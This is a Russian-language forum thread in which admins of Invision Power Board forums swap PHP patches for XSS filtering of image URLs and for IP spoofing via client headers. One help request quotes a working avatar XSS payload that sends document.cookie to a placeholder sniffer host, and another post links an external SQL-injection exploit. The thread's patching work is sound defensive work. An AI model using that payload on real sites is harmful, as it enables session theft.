Перейти к контенту

Уязвимости форумов Invision Power Board


Рекомендуемые сообщения

после этого попробуй зайти в любое объявление раздела стандартное от админа или супермодера - вылезет ошибка

 

остальное просто ломает проверять...

упс... ты прав... :D

только ошибка вылезает, разумеется, при попытке поставить картинку...

блин, стормозил, там в функции $std не "проглобалено"...

надо бы еще

	function regex_check_image($url="")
{
	global $ibforums;

заменить на

	function regex_check_image($url="")
{
	global $ibforums, $std;

терь все ок...

в остальных функциях все ок, добавление аватара по ссылке работает, фотки вроде тоже...

 

2dfc_darkman

не знаю насчет нужно, но можно...

Ссылка на комментарий
Поделиться на других сайтах

  • Ответы 1,2k
  • Создана
  • Последний ответ

Лучшие авторы в этой теме

Лучшие авторы в этой теме

Загружено фотографий

К сожалению, в FAQ уязвимостей IPB исправление найти не удалось (плохо смотрел?..)

Как прикрыть подобный инжект?

http://forum.com/index.php?act=members&st=-1

Ссылка на комментарий
Поделиться на других сайтах

Вроде офсайт клянется, что дыра только в 21х. Но Сонг у себя давно вроде для 10х и 20х предложил решение по заделыванию этой дырки. Погляди на его сайте - там всс расписано.

 

Вот так у Сонга:

 

вот в правилах моего раздела написано следующее:

Информацию из данного раздела Форума на Sysman.Ru не разрешается публиковать или обсуждать в других источниках в сети.

При необходимости оставляйте ссылки на наш форум. Главным образом данное требование объясняется желанием уменьшения распространения неточностей кода исправления узявимостей при публикации на других ресурсах по "цепочке".

В данном случае это и произошло. Прежде чем говорить, что Сонг там чего-то написал надо узнать, а в действительности ли это так? Сонг вообще все выходные бухал и только сегодня опубликовал решение для 2.0.х и 1.х

А ты уже тут всё порасписал и всем всё рассказал. Если уж тебе наплевать на свой скрипт, то зачем других подводить?

 

2Vasya_zero

В этом топике это уже было.

Ссылка на комментарий
Поделиться на других сайтах

А ты уже тут всё порасписал и всем всё рассказал. Если уж тебе наплевать на свой скрипт, то зачем других подводить?
я обычно правила не читаю. Извини.

Это моя ошибка. Если это критично, то извини.

Но я у тебя в патче для двухи я тоже ошибку нашел, кстати, про нее тут уже писал cthulhu

 

Ты извини, я пост исправлю. И больше постить твои коды не буду.

Изменено пользователем -=MIF=-
Ссылка на комментарий
Поделиться на других сайтах

Уязвимости форумов Invision Power Board

Уязвимости форумов Invision Power Board

 

		//-----------------------------------------
	// Check...
	//-----------------------------------------

	if ( $std->xss_check_url( $url ) !== TRUE )

 

$std

 

	function regex_check_image($url="")
{
	global $ibforums, $std;

 

	function xss_check_url( $url )
{
	$url = trim( urldecode( $url ) );

	if ( ! preg_match( "#^https?://(?:[^<>*\"]+|[a-z0-9/\._\- !]+)$#iU", $url ) )
	{
		return FALSE;
	}
	return TRUE;
}

 

sources\functions.php

Ссылка на комментарий
Поделиться на других сайтах

В той версии что я предложил (и я её считаю правильней) функция фильтрации находится не в functions.php а в post_parser.php

поэтому никаких global $std там не надо, и соответственно $this, а не $std.

 

Будь внимательней.

Ссылка на комментарий
Поделиться на других сайтах

подскажите в чём может быть ошибка или где её забыли закрыть.

Суть такова стоит 2.1.6 со всеми обнавлениями (вроде) но через аватар проходит XSS

 

java script:x=document.cookie%3Bimg=new%20Image()%3Bimg.src=%27http:// снифер /cgi-bin/s.jpg%3F%27%2Bx/*.jpg*///.gif

 

как можно закрыть эту дырку ?

Ссылка на комментарий
Поделиться на других сайтах

Народ подскажите, каким образом кто-то логинится под админом в мое отсутствие на форуме (2.1.6)? Кража пароля исключена. В админку этот товарищ попасть не может (иначе бы попал, и в логах бы остался). Но, к примеру, заходя гостем я иногда вижу себя на форуме. Обновления безопасности вроде все стоят. В чем может быть косяк?
Ссылка на комментарий
Поделиться на других сайтах

Есть такая проблема временное решение для исправления уязвимости, до выхода официального патча:

 

Файл ./sources/ipsclass.php, найти

$addrs = array();

	if ( $this->vars['xforward_matching'] )
	{
		foreach( array_reverse( explode( ',', $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) as $x_f )
		{
			$x_f = trim($x_f);

			if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $x_f ) )
			{
				$addrs[] = $x_f;
			}
		}
	}

	$addrs[] = $_SERVER['HTTP_CLIENT_IP'];
	$addrs[] = $_SERVER['REMOTE_ADDR'];
	$addrs[] = $_SERVER['HTTP_PROXY_USER'];

	//-----------------------------------------
	// Do we have one yet?
	//-----------------------------------------

	foreach ( $addrs as $ip )
	{
		if ( $ip )
		{
			$this->ip_address = $ip;
			break;
		}
	}

	//-----------------------------------------
	// Make sure we take a valid IP address
	//-----------------------------------------

	$this->ip_address = preg_replace( "/^([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})/", "\\1.\\2.\\3.\\4", $this->ip_address );

Заменить на

$addrs = array();

if ( $this->vars['xforward_matching'] )
{
   foreach( array_reverse( explode( ',', $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) as $x_f )
   {
       $x_f = trim($x_f);

       if ( preg_match( '/^d{1,3}.d{1,3}.d{1,3}.d{1,3}$/', $x_f ) )
       {
           $addrs[] = $x_f;
       }
   }

   $addrs[] = $_SERVER['HTTP_CLIENT_IP'];
   $addrs[] = $_SERVER['HTTP_PROXY_USER'];
}

$addrs[] = $_SERVER['REMOTE_ADDR'];

//-----------------------------------------
// Do we have one yet?
//-----------------------------------------

$this->ip_address = '';

foreach ( $addrs as $ip )
{
   if ( preg_match( "/^([0-9]{1,3}).([0-9]{1,3}).([0-9]{1,3}).([0-9]{1,3})$/", $ip ) )
   {    
       $this->ip_address = $ip;

       break;
   }
}

//-----------------------------------------
// Make sure we take a valid IP address
//-----------------------------------------

if ( ! $this->ip_address OR empty( $this->ip_address ) )
{
   print "Could not determine your IP address";
   exit();
}

Ссылка на комментарий
Поделиться на других сайтах

GiV

 

а вообще нафига вот этот регвыр:

$this->ip_address = preg_replace( "/^([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})/", "\\1.\\2.\\3.\\4", $this->ip_address );

а ?

Ссылка на комментарий
Поделиться на других сайтах

Есть такая проблема временное решение для исправления уязвимости, до выхода официального патча:

 

Файл ./sources/ipsclass.php, найти

$addrs = array();

	if ( $this->vars['xforward_matching'] )
	{
		foreach( array_reverse( explode( ',', $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) as $x_f )
		{
			$x_f = trim($x_f);

			if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $x_f ) )
			{
				$addrs[] = $x_f;
			}
		}
	}

	$addrs[] = $_SERVER['HTTP_CLIENT_IP'];
	$addrs[] = $_SERVER['REMOTE_ADDR'];
	$addrs[] = $_SERVER['HTTP_PROXY_USER'];

	//-----------------------------------------
	// Do we have one yet?
	//-----------------------------------------

	foreach ( $addrs as $ip )
	{
		if ( $ip )
		{
			$this->ip_address = $ip;
			break;
		}
	}

	//-----------------------------------------
	// Make sure we take a valid IP address
	//-----------------------------------------

	$this->ip_address = preg_replace( "/^([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})/", "\\1.\\2.\\3.\\4", $this->ip_address );

Заменить на

$addrs = array();

if ( $this->vars['xforward_matching'] )
{
   foreach( array_reverse( explode( ',', $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) as $x_f )
   {
       $x_f = trim($x_f);

       if ( preg_match( '/^d{1,3}.d{1,3}.d{1,3}.d{1,3}$/', $x_f ) )
       {
           $addrs[] = $x_f;
       }
   }

   $addrs[] = $_SERVER['HTTP_CLIENT_IP'];
   $addrs[] = $_SERVER['HTTP_PROXY_USER'];
}

$addrs[] = $_SERVER['REMOTE_ADDR'];

//-----------------------------------------
// Do we have one yet?
//-----------------------------------------

$this->ip_address = '';

foreach ( $addrs as $ip )
{
   if ( preg_match( "/^([0-9]{1,3}).([0-9]{1,3}).([0-9]{1,3}).([0-9]{1,3})$/", $ip ) )
   {    
       $this->ip_address = $ip;

       break;
   }
}

//-----------------------------------------
// Make sure we take a valid IP address
//-----------------------------------------

if ( ! $this->ip_address OR empty( $this->ip_address ) )
{
   print "Could not determine your IP address";
   exit();
}

 

IPS patch

			//-----------------------------------------
	// Sort out the accessing IP
	// (Thanks to Cosmos and schickb)
	//-----------------------------------------

	$addrs = array();

	if ( $this->vars['xforward_matching'] )
	{
		foreach( array_reverse( explode( ',', $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) as $x_f )
		{
			$x_f = trim($x_f);

			if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $x_f ) )
			{
				$addrs[] = $x_f;
			}
		}

		$addrs[] = $_SERVER['HTTP_CLIENT_IP'];
		$addrs[] = $_SERVER['HTTP_PROXY_USER'];
	}

	$addrs[] = $_SERVER['REMOTE_ADDR'];

	//-----------------------------------------
	// Do we have one yet?
	//-----------------------------------------

	foreach ( $addrs as $ip )
	{
		if ( $ip )
		{
			preg_match( "/^([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/", $ip, $match );

			$this->ip_address = $match[1].'.'.$match[2].'.'.$match[3].'.'.$match[4];

			if ( $this->ip_address AND $this->ip_address != '...' )
			{
				break;
			}
		}
	}

	//-----------------------------------------
	// Make sure we take a valid IP address
	//-----------------------------------------

	if ( ! $this->ip_address OR $this->ip_address == '...' )
	{
		print "Could not determine your IP address";
		exit();
	}

	#Backwards compat:
	$this->input["IP_ADDRESS"] = $this->ip_address;

Ссылка на комментарий
Поделиться на других сайтах

На самом деле уязвимость с раскрытием куков вряд ли есть, потому что даже если провести UNION, резальтсет не получить.

Короче, надо пробовать.

 

Почитал я доки.

REMOTE_ADDR не подменить через скрипт.

Ссылка на комментарий
Поделиться на других сайтах

На самом деле уязвимость с раскрытием куков вряд ли есть, потому что даже если провести UNION, резальтсет не получить.

Короче, надо пробовать.

 

Почитал я доки.

REMOTE_ADDR не подменить через скрипт.

REMOTE_ADDR не подменить зато HTTP_CLIENT_IP не проблема, поэтому данная уязвимость относиться только в основоном к 2.1.х

Ссылка на комментарий
Поделиться на других сайтах

Короче для 1.х сплойт не применим.

Убираю упоминание со своего сайта для 1.х

Ссылка на комментарий
Поделиться на других сайтах

Вот появился новый сплоит походу:

 

14.07.06 .. IPB advisory & exploit

Invison Power Board v2.1 <= 2.1.6 sql injection

Подробности: Advisory#41 - _http://rst.void.ru/papers/advisory41.txt

Exploit: r57ipb216gui - _http://rst.void.ru/download/r57ipb216gui.txt

 

Взято с _http://rst.void.ru

 

Или то что писали выше уже это лечит?

Ссылка на комментарий
Поделиться на других сайтах

Можете пожалуйста представить официальный патч в красках, а то не понятно что редактировать.

И насколько официален патч от Song'a?

 

 

P.S. SiriuS, классная подпись :D

Ссылка на комментарий
Поделиться на других сайтах

Официального ещё нет.

Но я не думаю, что он будет как-то отличаться от моего варианта али варианта Вани.

 

А хотя нет, есть.

Вот я его "вырезал" :D

http://www.sysman.ru/index.php?showtopic=5...ost&p=50642

Ссылка на комментарий
Поделиться на других сайтах


×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.